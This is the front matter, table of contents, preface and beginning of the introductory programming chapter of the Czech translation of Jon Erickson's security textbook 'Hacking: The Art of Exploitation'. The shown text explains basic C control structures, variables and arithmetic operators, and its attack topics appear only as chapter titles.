Hacking - umění exploitace

Page 1

E N C Y K L O P E D I E

Z O N E R

P R E S S

D R U H É, U P R A V E N É A D O P L N Ě N É V Y D Á N Í

HACKING © Foto: Jiří Heller

u m ění exploitace

J o n

E R I C K S O N


Pochvalná vyjádření k prvnímu vydání Hacking – umění exploitace „Nejkompletnější výuka hackerských technik. Konečně kniha, která jen nepředvádí, jak využívat exploity, ale také ukazuje, jak je vyvíjet.“ – PHRACK „Ze všech knih, co jsem doposud četl, tuto považuji za vynikající hackerskou příručku.“ – SECURITY FORUMS „Tuto knihu doporučuji už jen kvůli její programovací sekci.“ – UNIX REVIEW „Vřele tuto knihu doporučuji. Napsal ji člověk, který ví, co čem mluví, navíc s použitelným kódem, nástroji a příklady.“ – IEEE CIPHER „Ericksonova kniha, hutný a seriózní průvodce pro začínající hackery, je naplněna až po okraj nejenom kódem a hackerskými technikami ze skutečného světa, ale také vysvětleními, jak fungují.“ – COMPUTER POWER USER (CPU) MAGAZINE „Tohle je vynikající kniha. Ti, kdo se právě chystají přejít na další úroveň, měli by si ji opatřit a pečlivě pročíst.“ – ABOUT.COM INTERNET/NETWORK SECURITY



Hacking umění exploitace Druhé, upravené a doplněné vydání

Jon Erickson


HACKING: THE ART OF EXPLOITATION, 2ND EDITION Jon Erickson Copyright © 2008 by Jon Erickson. Title of English-language original: Hacking: The Art of Exploitation, 2nd Edition, ISBN 978-1-59327-144-2 published by No Starch Press. Czech-language edition copyright © 2009 by ZONER software s.r.o. All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from No Starch Press. Copyright © 2008 Jon Erickson. Název originálního anglického vydání: Hacking: The Art of Exploitation, 2nd Edition, ISBN 978-1-59327-144-2, vydal No Starch Press. České vydání copyright © 2009 ZONER software s.r.o. Všechna práva vyhrazena. Žádná část této publikace nesmí být reprodukována nebo předávána žádnou formou nebo způsobem, elektronicky ani mechanicky, včetně fotokopií, natáčení ani žádnými jinými systémy pro ukládání bez výslovného svolení No Starch Press.

Hacking – umění exploitace Autor: Jon Erickson Copyright © ZONER software, s.r.o. Druhé, upravené a doplněné vydání v roce 2009. Všechna práva vyhrazena. Zoner Press Katalogové číslo: ZR803 ZONER software, s.r.o. Nové sady 18, 602 00 Brno Překlad: RNDr. Jan Pokorný Odpovědný redaktor: Miroslav Kučera Odborná korektura: Miroslav Kučera Šéfredaktor: Ing. Pavel Kristián DTP: Miroslav Kučera Obraz bootovatelného LiveCD ke stažení: http://zonerpress.cz/download/hacking.zip (750 MB)

Informace, které jsou v této knize zveřejněny, mohou byt chráněny jako patent. Jména produktů byla uvedena bez záruky jejich volného použití. Při tvorbě textů a vyobrazení bylo sice postupováno s maximální péčí, ale přesto nelze zcela vyloučit možnost výskytu chyb. Vydavatelé a autoři nepřebírají právní odpovědnost ani žádnou jinou záruku za použití chybných údajů a z toho vyplývajících důsledků. Všechna práva vyhrazena. Žádná část této publikace nesmí být reprodukována ani distribuována žádným způsobem ani prostředkem, ani reprodukována v databázi či na jiném záznamovém prostředku či v jiném systému bez výslovného svolení vydavatele, s výjimkou zveřejnění krátkých částí textu pro potřeby recenzí. Veškeré dotazy týkající se distribuce směřujte na: Zoner Press ZONER software, s.r.o. Nové sady 18, 602 00 Brno tel.: 532 190 883, fax: 543 257 245 e-mail: knihy@zoner.cz http://www.zonerpress.cz

ISBN 978-80-7413-022-9


5

Obsah Předmluva

11

Poděkování

11

Kapitola 0x100 0x110

Úvod

Obraz LiveCD ke stažení

Kapitola 0x200

Programování

13 16

17

0x210

Co je programování?

18

0x220

Pseudokód

19

0x230

Řídicí struktury

19

0x231

If-Then-Else

19

0x232

Cykly While/Until

21

0x233

Cykly For

22

0x240

0x250

0x260

0x270

Další základní programovací pojmy

23

0x241

Proměnné

23

0x242

Aritmetické operátory

24

0x243

Porovnávací operátory

26

0x244

Funkce

28

Nejvyšší čas zkusit něco prakticky

31

0x251

Blíž k celkovému obrazu

32

0x252

Procesory architektury x86

36

0x253

Assembler

37

Zpět k základům

51

0x261

Řetězce

51

0x262

Signed, unsigned, long a short

55

0x263

Ukazatele

57

0x264

Formátovací řetězce

62

0x265

Přetypování

65

0x266

Argumenty příkazového řádku

73

0x267

Obor proměnných

77

Segmentace paměti

85

0x271

Paměťové segmenty v C

93

0x272

Jak se pracuje s haldou

95

0x273

Funkce malloc() s kontrolou, zdali se alokace podařila

98


6 0x280

Stavění na solidních základech

100

0x281

Přístup k souboru

100

0x282

Souborová oprávnění

106

0x283

Uživatelská ID

108

0x284

Struktury

117

0x285

Ukazatele funkce

121

0x286

Pseudonáhodná čísla

122

0x287

Sada hazardních her

124

Kapitola 0x300

Exploitace

141

0x310

Všeobecné exploitační techniky

144

0x320

Přetečení paměti

144

0x321

148

0x330 0x340

0x350

Zranitelnosti způsobené přetečením bufferu založeného na zásobníku

Experimenty s BASH

161

0x331

172

Používání proměnných prostředí

Přetečení v jiných segmentech

181

0x341

Základní přetečení založené na haldě

181

0x342

Přetečení ukazatelů na funkce

187

Formátovací řetězce

201

0x351

Formátovací parametry

202

0x352

Zranitelnost spojená s formátovacím řetězcem

204

0x353

Čtení z libovolné adresy paměti

207

0x354

Zápis na libovolnou adresu paměti

208

0x355

Přímý přístup k parametru

216

0x356

Zápisy dvoubajtových slov

218

0x357

Odbočka s .dtors

220

0x358

Další zranitelnost programu notesearch

226

0x359

Přepisování tabulky globálních offsetů

228

Kapitola 0x400

Sítě

0x410

Model OSI

0x420

Sockety 235

233 233

0x421

Socketové funkce

236

0x422

Socketové adresy

238

0x423

Síťové pořadí bajtů

240

0x424

Konverze internetové adresy

240


7

0x430

0x440

0x450

0x460

0x470

0x480

0x425

Ukázka jednoduchého serveru

241

0x426

Ukázka webového klienta

245

0x427

Maličký webový server

251

Loupání slupek nižších vrstev

256

0x431

Spojová vrstva

257

0x432

Síťová vrstva

258

0x433

Transportní vrstva

261

Odposlouchávání provozu na síti (network sniffing)

264

0x441

Odposlouchávání nezpracovaných socketů

266

0x442

Odposlouchávací knihovna libpcap

268

0x443

Dekódování vrstev

270

0x444

Aktivní odposlouchávání

281

Odmítnutí služby

295

0x451

Zahlcení podvrženými SYN pakety

296

0x452

Ping smrti

301

0x453

Slza

301

0x454

Zahlcení přes ping

301

0x455

Zesilující se útoky

302

0x456

Útok DDoS

302

Únos TCP/IP

303

0x461

Únos RST

304

0x462

Pokračování únosu

309

Skenování portů

310

0x471

Tajné skenování SYN

310

0x472

Skenování FIN, X-mas a Null

310

0x473

Podvržené návnady

311

0x474

Nečinné skenování

311

0x475

Aktivnější obrana

313

K lidu blíž – někoho hackneme

320

0x481

Analýza s GDB

321

0x482

Téměř vždy počítejte s ručními granáty

323

0x483

Shellkód, který se navazuje na port

326

Kapitola 0x500 0x510

Shellkód

331

Assembler versus C

331

0x511

334

Linuxová systémová volání v assembleru


8 0x520

0x530

0x540

0x550

Cesta k shellkódu

337

0x521

Assemblerové instrukce používající zásobník

337

0x522

Vyšetřování s GDB

340

0x523

Odstranění bajtů null

341

Shellkód, který zplodí shell

347

0x531

Otázka oprávnění

351

0x532

Ještě menší shellkód

354

Shellkód, který se navazuje na port

356

0x541

Duplikace standardních souborových deskriptorů

361

0x542

Řídicí struktury pro větvení

363

Shellkód připojující se zpět

Kapitola 0x600

Protiopatření

368

375

0x610

Detekující protiopatření

376

0x620

Systémoví démoni

376

0x621

Signály letem-světem

378

0x622

Démon tinyweb

381

Nástroje našeho řemesla

386

0x631

386

0x630 0x640 0x650

0x660

0x670 0x680

Nástroj pro exploitaci tinywebd

Protokolovací soubory

392

0x641

392

Jak splynout s davem

Přehlížení očividného

394

0x651

Krok za krokem

395

0x652

A dejme zase všechno dohromady

400

0x653

Dceřiní nádeníci

406

Pokročilá kamufláž

408

0x661

Podvržení přihlášené IP adresy

409

0x662

Nezaprotokolovaná exploitace

414

Kompletní infrastruktura

417

0x671

417

Opětovné použití socketu

Propašování nálože

422

0x681

Zašifrování řetězců

422

0x682

Jak skrýt sled

426

0x690

Restriktivní opatření na buffer

427

0x691

430

0x6a0

Vylepšená protiopatření

Polymorfní tisknutelný ASCII shellkód

442


9 0x6b0

0x6c0

Nespustitelný zásobník

442

0x6b1

ret2libc

442

0x6b2

Návrat do system()

443

Náhodné rozvržení paměti zásobníku

445

0x6c1

Výzkumy s BASH a GDB

447

0x6c2

Odskakování od linux-gate

451

0x6c3

Umění aplikovat získané znalosti v praxi

455

0x6c4

První pokus

456

0x6c5

Pohrajeme si s šancemi

458

Kapitola 0x700 0x710

0x720 0x730 0x740

0x750

0x760

0x770

0x780

Kryptologie

461

Teorie informace

462

0x711

Nepodmíněná bezpečnost

462

0x712

Jednorázové zašifrování

462

0x713

Distribuce kvantového klíče

463

0x714

Výpočetní bezpečnost

464

Doba běhu algoritmu

464

0x721

465

Asymptotická notace

Symetrické šifrování

466

0x731

467

Lov Groverův kvantový vyhledávací algoritmus

Asymetrické šifrování

468

0x741

RSA

468

0x742

Kvantový faktorizační algoritmus Petera Shora

472

Hybridní šifry

473

0x751

Útoky typu "Muž uprostřed"

473

0x752

Rozdíly v otiscích prstů hostitele protokolu SSH

478

0x753

Fuzzy otisky prstů

482

Prolamování hesel

487

0x761

Slovníkové útoky

489

0x762

Vyčerpávající útok hrubou silou

492

0x763

Vyhledávací tabulka hašů

493

0x764

Pravděpodobnostní matice hesla

494

Bezdrátové šifrování 802.11b

506

0x771

Šifrovací metoda WEP (Wired Equivalent Privacy)

506

0x772

Proudová šifra RC4

Útoky na WEP

508 508


10 0x781

Offline útoky hrubou silou

509

0x782

Opětovné použití stejného proudového klíče

509

0x783

Dešifrovací slovníkové tabulky založené na inicializačním vektoru

510

0x784

Přesměrování IP adresy

511

0x785

Útoky typu Fluhrer, Mantin a Shamir (FMS)

512

Kapitola 0x800

Shrnutí

523

0x810

Seznam zdrojů

524

0x820

Užitečné nástroje

525

Rejstřík

527


11

Předmluva Cílem této knihy je podělit se s vámi všemi o umění hackingu. Často není snadné pochopit techniky hackingu, protože k tomu potřebujete poměrně mnoho důkladně zvládnutých vědomostí. Mnohé texty o hackingu se vám mohou zdát jako nesrozumitelné a matoucí, protože bez jistých předběžných znalostí se nelze obejít a vy v tomto druhu vzdělání jednoduše máte několik mezer. Druhé vydání knihy Hacking – umění exploitace by vám mělo zpřístupnit svět hackingu, protože o něm dostanete kompletní informace. Od programování přes strojový kód až k exploitaci. K tomuto vydání si navíc můžete stáhnout obraz bootovacího CD (z http://zonerpress.cz/download/hacking.zip), který v sobě obsahuje upravenou linuxovou distribuci Ubuntu. Jakmile tento obraz stáhnete, rozbalíte a vypálíte na CD/DVD médium, můžete ho použít na jakémkoliv počítači s procesorem x86 bez toho, aby došlo k poškození stávajícího operačního systému vašeho počítače. Obsahuje veškerý zdrojový kód z knihy a poskytuje jak vývojové, tak i exploitační prostředí, v němž můžete při četbě souběžně zkoušet všechny příklady uvedené v knize a provádět své vlastní experimenty.

Poděkování Mé vřelé díky si zaslouží Bill Pollock a všichni ostatní ve vydavatelství No Starch Press, že konali tak, aby tato kniha mohla spatřit světlo světa, a že jsem mohl kreativně ovlivňovat všechny fáze procesu jejího vzniku. Dále bych rád poděkoval svým přátelům, Sethu Bensonovi a Aaronu Adamsovi, za korektury a úpravy, Jacku Mathesonnovi, že mi vypomohl s assemblerem, Dr. Seidelovi, že udržel můj zájem o počítačovou vědu, rodičům, že mi koupili první Commodore VIC-20, a komunitě hackerů, jejichž inovace a kreativita vytvořila techniky vysvětlované v této knize.


12


0x200 PROGRAMOVÁNÍ

Hacker je termín, kterým se označují nejenom ti, kdo píší kód, ale také ti, kdo kód exploitují. I když mají obě skupiny hackerů různé finální cíle, používají při řešení úloh podobné techniky. Protože těm, kdo exploitují, pomáhá, když umějí programovat, a naopak vědomosti o tom, jak se exploituje, pomáhají těm, kdo programují, dělají mnozí hackeři obojí. Zajímavé hackerské postupy najdete jak v technikách, které se používají proto, aby vznikl elegantní kód, tak i v technikách, jež se používají za účelem exploitace programů. Hacking opravdu znamená jen akt nalezení chytrého a překvapivého řešení dané úlohy. Hacky, které najdete v exploitačních programech (říká se jim exploity), obvykle využívají počítačová pravidla (postupy, příkazy atd.) nevšedním způsobem, aby se obešla bezpečnostní opatření tak, jak to zatím nikoho ani nenapadlo. Programovací hacky jsou podobné v tom smyslu, že také využívají počítačová pravidla nově a vynalézavě, ale jejich konečným cílem je efektivnější nebo kratší zdrojový kód, nemusí se nutně jednat o narušení bezpečnosti. Programů, které řeší zadanou úlohu, se dá napsat nekonečně mnoho, ale většina z těchto řešení je zbytečně velkých, příliš složitých a ledabylých. Těch pár řešení, co zbudou, jsou kompaktní, efektivní a úhledná. Programy, které mají tyto kvality, jsou elegantní. Chytrým a vynalézavým řešením, která vedou k této efektivitě, se říká hacky. Hackeři obou skupin oceňují krásu elegantního kódu i důvtipnost chytrých hacků. Ve světě byznysu se víc důrazu klade na to, aby se co nejdříve vychrlil kód, který funguje, než aby obsahoval chytré algoritmy a byl elegantní. Vzhledem k nesmírnému exponenciálnímu růstu výpočetní síly a paměti nemá, z hlediska byznysu, u moderních počítačů se zpracovatelskými cykly v gigahertzech a pamětí v gigabajtech valný smysl strávit pět hodin navíc jen proto, aby se vytvořil úsek kódu, který bude o něco málo rychlejší a efektivnější (co do využití paměti). I když optimalizaci doby trvání a využití paměti ponechá bez povšimnutí valná většina uživatelů kromě těch nejnáročnějších, je to charakteristika, kterou by šlo zpeněžit. Pokud jsou ale na prvním místě okamžité finanční výnosy, trávit čas tvorbou rafinovaných postupů se prostě nevyplatí. Opravdové zhodnocení programovací elegance je tedy na hackerech: na počítačových nadšencích, jejichž konečným cílem není zisk, ale vymačkat až do mrtě ze svého starého Commodore 64 každý bit funkcionality; na autorech programů zvaných exploity, což jsou drobounké a okouzlující


18

0x200 – Programování

fragmenty kódu, jimiž se dá proklouznout úzkými skulinami v zabezpečení, a na všech ostatních, kdo dokáží ocenit honbu za dokonalostí, kdo se stavějí čelem výzvě najít nejlepší možné řešení. To jsou lidé, které programování vzrušuje. Ti dokáží patřičně ohodnotit krásu elegantního fragmentu kódu nebo důvtipnost důmyslného postupu. Abyste ale pochopili, jak se dají programy exploitovat, musíte nejprve dobře rozumět programování – toto je naprosto nezbytná podmínka. Proto je přirozené, že prvním předmětem našeho výkladu bude programování.

0x210 Co je programování? Programování je velmi přirozený a intuitivní pojem. Program není nic víc než posloupnost příkazů napsaných v nějakém konkrétním jazyku. Programy jsou všude okolo nás – dokonce i ti, kdo mají panickou hrůzu z technologií, používají programy každý den. Itineráře pro jízdu autem, kuchařské recepty, fotbalové zápasy, DNA, to všechno jsou různé typy programů. Typický itinerář pro jízdu autem může vypadat například takto: Jeďte východním směrem po Main Street. Pokračujte po Main Street, dokud neuvidíte napravo kostel. Jestliže je ulice zavřená kvůli opravám, zde zabočte doprava na 15th Street, zabočte doleva na Pine Street, a pak doprava na 16th Street. Jinak prostě jeďte dál a zabočte doprava na 16th Street. Pokračujte po 16th Street a zabočte doleva na Destination Road. Jeďte rovně 5 mil po Destination Road, pak uvidíte napravo dům. Adresa je 743 Destination Road.

Kdo umí česky, tyto pokyny pochopí, a protože jsou napsány v češtině, bude se jimi při jízdě řídit. Jistě – není to žádná krásná literatura, ale každý z pokynů je jasný a snadno srozumitelný, přinejmenším pro ty, kdo umějí alespoň trochu česky. Počítače ale žádnému lidskému jazyku nerozumějí, ani angličtině, natož češtině; rozumějí jen strojovému kódu. Chcete-li dát počítači pokyny, aby něco udělal, musejí být tyto pokyny, neboli instrukce, napsány v jeho jazyku. Strojový kód je ovšem tajemný a pracuje se s ním obtížně – skládá se z nijak nezpracovaných bitů a bajtů, a na každé architektuře je jiný. Pokud byste chtěli napsat program ve strojovém kódu pro procesor Intel x86, museli byste si zjistit hodnoty sdružené s jednotlivými instrukcemi, vypátrat jak spolu instrukce komunikují, a zvládnout myriády dalších nízkoúrovňových podrobností. Programování tohoto druhu je pracné a rozhodně neintuitivní. Abychom překonali komplikace spojené s psaním ve strojovém kódu, potřebujeme překladač. Jednou z forem překladače strojového jazyka je assembler – to je program, který překládá kód assembleru do kódu, jenž bude stroj schopen přečíst. Assembler je méně záhadný než strojový kód, protože používá pro instrukce slovní názvy a proměnné, nikoliv pouhá čísla. Přesto je i assembler na hony vzdálen intuitivnímu jazyku. Názvy instrukcí jsou srozumitelné jen zasvěceným, přičemž jazyk je pro každou architekturu jiný. Právě tak, jako je strojový kód pro procesor Intel x86 jiný než strojový kód pro procesory Sparc, je i assembler určený pro x86 odlišný od assembleru pro Sparc. Program napsaný v assembleru pro architekturu jednoho procesoru nebude fungovat na


Hacking – umění exploitace

19

architektuře jiného procesoru. Je-li program napsaný v assembleru pro x86, musí se přepsat, má-li běžet na architektuře Sparc. A navíc – abyste mohli psát efektivní programy v assembleru, musíte rovněž znát řadu nízkoúrovňových detailů o architektuře procesoru, pro který píšete. Uvedené potíže se dají zmírnit další formou překladače, kterému se říká kompilátor. Kompilátor převádí jazyk vysoké úrovně do strojového kódu. Vysokoúrovňové jazyky jsou mnohem intuitivnější než assembler (jsou obvykle založené na slovech a frázích z angličtiny) a dají se konvertovat do mnoha různých typů strojového kódu, tj. pro různé procesorové architektury. To znamená, že je-li program napsaný v nějakém vysokoúrovňovém jazyku, stačí ho napsat jednou; stejný programový kód se dá zkompilovat do strojového kódu různých konkrétních architektur. Mezi vysokoúrovňové jazyky patří například C, C++ či Fortran. Ačkoliv program napsaný ve vysokoúrovňovém jazyku se mnohem snadněji čte a více se podobá angličtině než assembler nebo strojový kód, přesto se musejí dodržovat velmi striktní pravidla pro zápis jednotlivých instrukcí. V opačném případě kompilátor nebude schopen pochopit takový kód.

0x220 Pseudokód Programátoři využívají ještě jednu formu programovacího jazyka, které se říká pseudokód. Pseudokód je jednoduchá řeč, která je uspořádána do obecné struktury podobající se nějakému vysokoúrovňovému jazyku. (Teoreticky se dá pseudokód psát v jakékoliv mluvené řeči, nicméně angličtina je nejvýhodnější, protože v ní se pseudokód nejvíc podobá skutečnému kódu, který na jeho základě vznikne.) Ačkoliv kompilátory, assemblery a počítače pseudokódu nerozumějí, je to velmi šikovný způsob zápisu, jímž si programátor může uspořádávat své instrukce. Pseudokód není konkrétně definovaný – každý programátor píše pseudokód trochu jinak. Je to jistý mlhavý druh chybějícího propojení mezi mluvenou řečí (obvykle angličtinou) a vysokoúrovňovými jazyky, jako je C. Pseudokód ovšem může posloužit jako skvělý úvodní nástroj pro vysvětlení běžných univerzálních programovacích pojmů.

0x230 Řídicí struktury Bez řídicích struktur by byl program jen pouhou sérií instrukcí, které se vykonávají sekvenčně (jedna za druhou). U velmi jednoduchých programů to stačí, ale většina programů, včetně našeho itineráře s pokyny k jízdě, tak jednoduchá není. Mezi pokyny k jízdě najdeme příkazy jako Jeďte po Main Street, dokud neuvidíte napravo kostel a Jestliže je ulice zavřená kvůli opravám... Tyto příkazy patří mezi řídicí struktury, protože mění tok vykonávání programu z jednoduchého sekvenčního zpracování (jedna instrukce za druhou) na složitější a užitečnější tok.

0x231

If-Then-Else

V našich pokynech k jízdě je zmíněno, že Main Street může být zavřená, protože se opravuje. Pokud tomu tak je, měla by se s takovou situací vypořádat speciální sada instrukcí, jinak se bude


20

0x200 – Programování

v programu postupovat dál podle původní sady instrukcí. S těmito speciálními případy se dá v programu vypořádat pomocí jedné z nejpřirozenějších řídicích struktur: strukturou if-then-else (jestliže-pak-jinak). Všeobecně to vypadá nějak takhle: If (podmínka) then { Sada instrukcí, která se má vykonat, když podmínka platí; } Else { Sada instrukcí, která se má vykonat, když podmínka neplatí; }

V této knize budeme občas používat pseudokód podobající se jazyku C, takže každá instrukce bude končit středníkem, sady instrukcí budou obklopeny složenými závorkami a budou odsazené. Struktura if-then-else předchozích pokynů k jízdě může v pseudokódu vypadat takto: Jeďte po Main Street; If (ulice je zavřená kvůli opravám) { Zabočte doprava na 15th Street; Zabočte doleva na Pine Street; Zabočte doprava na 16th Street; } Else { Zabočte doprava na 16th Street; }

Povšimněte si, že každá instrukce je na samostatném řádku, a že jednotlivé sady podmínkových instrukcí jsou obklopeny složenými závorkami (a že jsou rovněž odsazeny, aby se text lépe četl). V C a v mnohých dalších programovacích jazycích se klíčové slovo then předpokládá implicitně, takže se nemusí uvádět – v předchozím pseudokódu jsme ho vynechali. V jiných jazycích může být samozřejmě stanoveno, že klíčové slovo then je v syntaxi povinné – sem patří nejenom BASIC a Fortran, ale také Pascal. Tyto druhy syntaktických odlišností v jednotlivých programovacích jazycích jsou pouze drobné detaily; podkladová struktura je stále stejná. Jakmile programátor pochopí pojmy, které se jazyky snaží vyjádřit, zvládne hravě různé variace syntaxe. Protože v následujících sekcích budeme pracovat s jazykem C, budeme v této knize používat pseudokód, jehož syntaxe se bude podobat syntaxi jazyka C. Uvědomte si ovšem, že pseudokód může mít různé, někdy i dost odlišné formy. Další běžné pravidlo syntaxe à la C říká, že pokud sada instrukcí uzavřených ve složených závorkách obsahuje pouze jedinou instrukci, nejsou složené závorky povinné. Kvůli lepší čitelnosti a jasnosti úmyslů je ovšem vhodné takové instrukce odsazovat (z hlediska syntaxe to povinné není).


Hacking – umění exploitace

21

Výše uvedené pokyny k jízdě lze s využitím tohoto pravidla přepsat následovně (stále ovšem máme ekvivalentní fragment pseudokódu): Jeďte po Main Street; If (ulice je zavřená kvůli opravám) { Zabočte doprava na 15th Street; Zabočte doleva na Pine Street; Zabočte doprava na 16th Street; } Else Zabočte doprava na 16th Street;

Toto pravidlo o sadách instrukcí platí pro všechny řídicí struktury zmiňované v této knize. Toto pravidlo samotné je rovněž možné popsat prostřednictvím pseudokódu: If (v sadě instrukcí je jen jediná instrukce) Složené závorky vymezující skupinu instrukcí nejsou povinné; Else { Složené závorky vymezující skupinu instrukcí jsou povinné; Musíme mít k dispozici nějaký způsob, jak tyto instrukce logicky seskupit; }

I samotný popis syntaxe se dá považovat za jednoduchý program. Existují různé varianty if-then-else, jako je například příkaz select/case. Logika je v zásadě pořád stejná – jestliže podmínka platí, udělej tyto věci, jinak udělej tamty jiné věci (mezi ně mohou patřit i další příkazy if-then).

0x232

Cykly While/Until

Dalším elementárním programovacím pojmem je řídicí struktura while, což je druh cyklu. Programátor si často přeje vykonat jistou sadu instrukcí víckrát za sebou, ne pouze jednou. Program může tento úkol splnit prostřednictvím cyklu, požaduje k tomu ovšem sadu podmínek, které mu řeknou, kdy má s cyklováním přestat, jinak by cykloval až do skonání věků. Cyklus while říká, aby se následná sada instrukcí cyklu vykonávala tak dlouho, dokud (while) platí podmínka cyklu. Jednoduchý program pro hladovou myš by mohl vypadat takto: While (máš hlad) { Najdi něco k snědku; Sněz to; }


22

0x200 – Programování

Sada dvou instrukcí za příkazem while se bude opakovat tak dlouho, dokud (while) bude mít myš hlad. Množství jídla, které myška v jednotlivých průchodech cyklem najde, může být různé, od nepatrného drobečku až k celému bochníku chleba. A obdobně – počet průchodů sadou instrukcí v cyklu while může být závislý na tom, kolik jídla myš vlastně najde. Jistou variantou cyklu while je cyklus until, což je syntaxe, která je k dispozici například v programovacím jazyku Perl (v C se tato syntaxe nepoužívá). Cyklus until je prostě cyklus while s invertovanou podmínkou cyklu. Tentýž program krmení myši vypadá s cyklem until takto: Until (nemáš hlad) { Najdi něco k snědku; Sněz to; }

Je jasné, že každý příkaz until se dá převést na cyklus while. Výše uvedené pokyny k jízdě obsahují příkaz Jeďte po Main Street, dokud neuvidíte napravo kostel. Toto se dá snadno změnit na standardní cyklus while, když prostě podmínku obrátíme na opačnou. While (napravo není kostel) Jeďte po Main Street;

0x233

Cykly For

Další řídicí konstrukcí cyklu je cyklus for. Obvykle se používá tehdy, když chce programátor provést konkrétní počet iterací. Pokyn k jízdě Jeďte přímo 5 mil po Destination Road se dá převést na cyklus for v tomto tvaru: For (5 iterací) Jeďte přímo 1 míli;

Ve skutečnosti je cyklus for vlastně cyklem while s čítačem (počitadlem průchodů). Stejný příkaz lze totiž zapsat i takto: Nastavit čítač na 0; While (hodnota čítače je menší než 5) { Jeďte přímo 1 míli; Přičíst 1 k čítači; }

V syntaxi pseudokódu podobném jazyku C je podstata cyklu for ještě zřejmější: For (i=0; i<5; i++) Jeďte přímo 1 míli;


Hacking – umění exploitace

23

V tomto případě se čítač jmenuje i a příkaz for je rozdělen do tří sekcí oddělených středníky. První sekce deklaruje čítač a nastavuje ho na počáteční hodnotu, v tomto případě na 0 (nulu). Druhá sekce je něco jako příkaz while využívající čítač: dokud (while) čítač splňuje uvedenou podmínku, pokračovat v cyklování. Třetí, poslední, sekce popisuje, jaká akce se má podniknout s čítačem při každé iteraci. V tomto případě je touto akcí i++, což je zkrácený zápis výroku "Přičti 1 k čítači i". S využitím všech dosud probraných řídicích struktur se pokyny k jízdě dají převést do pseudokódu ve stylu podobném jazyku C takto: Jeďte východním směrem po Main Street; While (napravo není kostel) Jeďte po Main Street; If (ulice je zavřená) { Zabočte doprava na 15th Street; Zabočte doleva na Pine Street; Zabočte doprava na 16th Street; } Else Zabočte doprava na 16th Street; For (i=0; i<5; i++) Jeďte přímo 1 míli; Zastavte na 743 Destination Road;

0x240 Další základní programovací pojmy V následujících sekcích probereme univerzálnější programovací pojmy, které se používají v mnohých programovacích jazycích (i když s jistými drobnými syntaktickými odlišnostmi). Poté, co tyto pojmy uvedu, je budu prostřednictvím syntaxe podobné jazyku C integrovat do příkladu pseudokódu. Na konci se bude tento pseudokód velmi podobat kódu C.

0x241

Proměnné

Čítač, který jsme použili v cyklu for, je ve skutečnosti jeden z typů proměnných. Proměnná se dá jednoduše chápat jako objekt obsahující data, která lze měnit – odtud ten název. Existují i proměnné, které se nemění, a trefně se jim říká konstanty. Vrátíme-li se k našemu příkladu s pokyny k jízdě, rychlost auta lze označit za proměnnou, zatímco barva auta je konstanta. Ačkoliv v pseudokódu jsou proměnné jednoduché abstraktní pojmy, v jazyce C (a v mnoha dalších) se proměnné musejí deklarovat a musí se jim přidělit typ. Teprve pak se mohou použít. Je tomu tak proto, že program C se bude nakonec kompilovat do spustitelného programu. Podobně jako u kuchařského receptu, v němž se seznam potřebných ingrediencí uvádí před pokyny, jak kuchtit, deklarace proměnné umožňují vykonat potřebné přípravné akce, než se pustíme do hlavní části programu. Nakonec se


24

0x200 – Programování

všechny proměnné uloží někde v paměti, přičemž jejich deklarace umožňují kompilátoru, aby si tuto paměť zorganizoval efektivněji. Ovšem na úplném konci, navzdory všem těm deklaracím typů proměnných, je všechno pouze paměť. V C dostane každá proměnná typ, který popisuje, jaké informace hodláte do této proměnné ukládat. Mezi nejběžnější typy patří int (celočíselné hodnoty), float (hodnoty s pohyblivou desetinnou čárkou) a char (hodnota obsahující jediný znak). Proměnné se deklarují velmi jednoduše – dané klíčové slovo se uvede před seznamem proměnných, jako to vidíte zde: int a, b; float k; char z;

Proměnné a a b jsou nyní definované jako celočíselné. Do k se dá uložit hodnota s desetinným místem (například hodnota 3.14). O proměnné z se předpokládá, že v ní bude uložený nějaký znak, jako například A nebo w. Hodnoty se dají proměnným přiřadit už při deklaraci, nebo kdykoliv později, prostřednictvím operátoru =. int a = 13, b; float k; char z = 'A'; k = 3.14; z = 'w'; b = a + 5;

Až se výše uvedené instrukce vykonají, bude proměnná a obsahovat hodnotu 13, k bude obsahovat číslo 3.14, z bude obsahovat znak w a b bude obsahovat hodnotu 18, protože 13 plus 5 se rovná 18. Stručně řečeno – proměnné jsou prostě jeden ze způsobů, jak se dají zapamatovat hodnoty; v jazyce C však musíte nejprve deklarovat typ každé proměnné.

0x242

Aritmetické operátory

Příkaz b = a + 7 je ukázka velmi jednoduchého aritmetického operátoru. V C se pro jednotlivé aritmetické operace používají symboly uvedené v následující tabulce. První čtyři operace v tabulce by měly být zřejmé. Ačkoliv modulo vám možná připadá jako nový pojem, jedná se pouze o zbytek po dělení. Má-li a hodnotu 13, pak 13 děleno 5 se rovná 2, zbytek je 3, což znamená, že a % 5 = 3. Dále, protože proměnné a i b jsou celá čísla (int), příkaz b = a / 5 vede na výsledek 2, který se uloží do b, protože je to celá část výsledku operace dělení. Chcete-li získat přesnější výsledek 2,6, musíte použít proměnné s pohyblivou čárku (float). Operace

Symbol

Ukázka

Sčítání

+

b = a + 5


Hacking – umění exploitace

Operace

Symbol

Ukázka

Odčítání

-

b = a – 5

Násobení

*

b = a * 5

Dělení

/

b = a / 5

Modulo

%

b = a % 5

25

Pokud chcete dostat tyto koncepty do programu, musíte mluvit jeho jazykem. Jazyk C dále poskytuje pro aritmetické operace několik zkrácených zápisů. Jeden z nich jsem už zmínil výše a běžně se používá v cyklech for. Výraz

Zkrácený zápis

Vysvětlení

i = i + 1

i++ nebo ++i

Přičte 1 k proměnné.

i = i - 1

i-- nebo --i

Odečte 1 od proměnné.

Tyto zkrácené zápisy se dají zkombinovat s ostatními aritmetickými operacemi, takže mohou vzniknout složitější výrazy. Zde pak lépe vynikne rozdíl mezi i++ a ++i. První výraz znamená zvýšit hodnotu i o 1 poté, co se vyhodnotí aritmetická operace, zatímco druhý znamená zvýšit hodnotu i o 1 předtím, než se vyhodnotí aritmetická operace. Podívejte se na tento příklad: int a, b; a = 5; b = a++ * 6;

Na konci této sady instrukcí bude b obsahovat 30 a a bude obsahovat 6, protože zkrácený zápis b = a++ * 6; je ekvivalentní těmto příkazům: b = a * 6; a = a + 1;

Pokud bychom ale použili instrukci b = ++a * 6;, pořadí operací sčítání se změní, což znamená, že tentokrát budou ekvivalentní tyto instrukce: a = a + 1; b = a * 6;

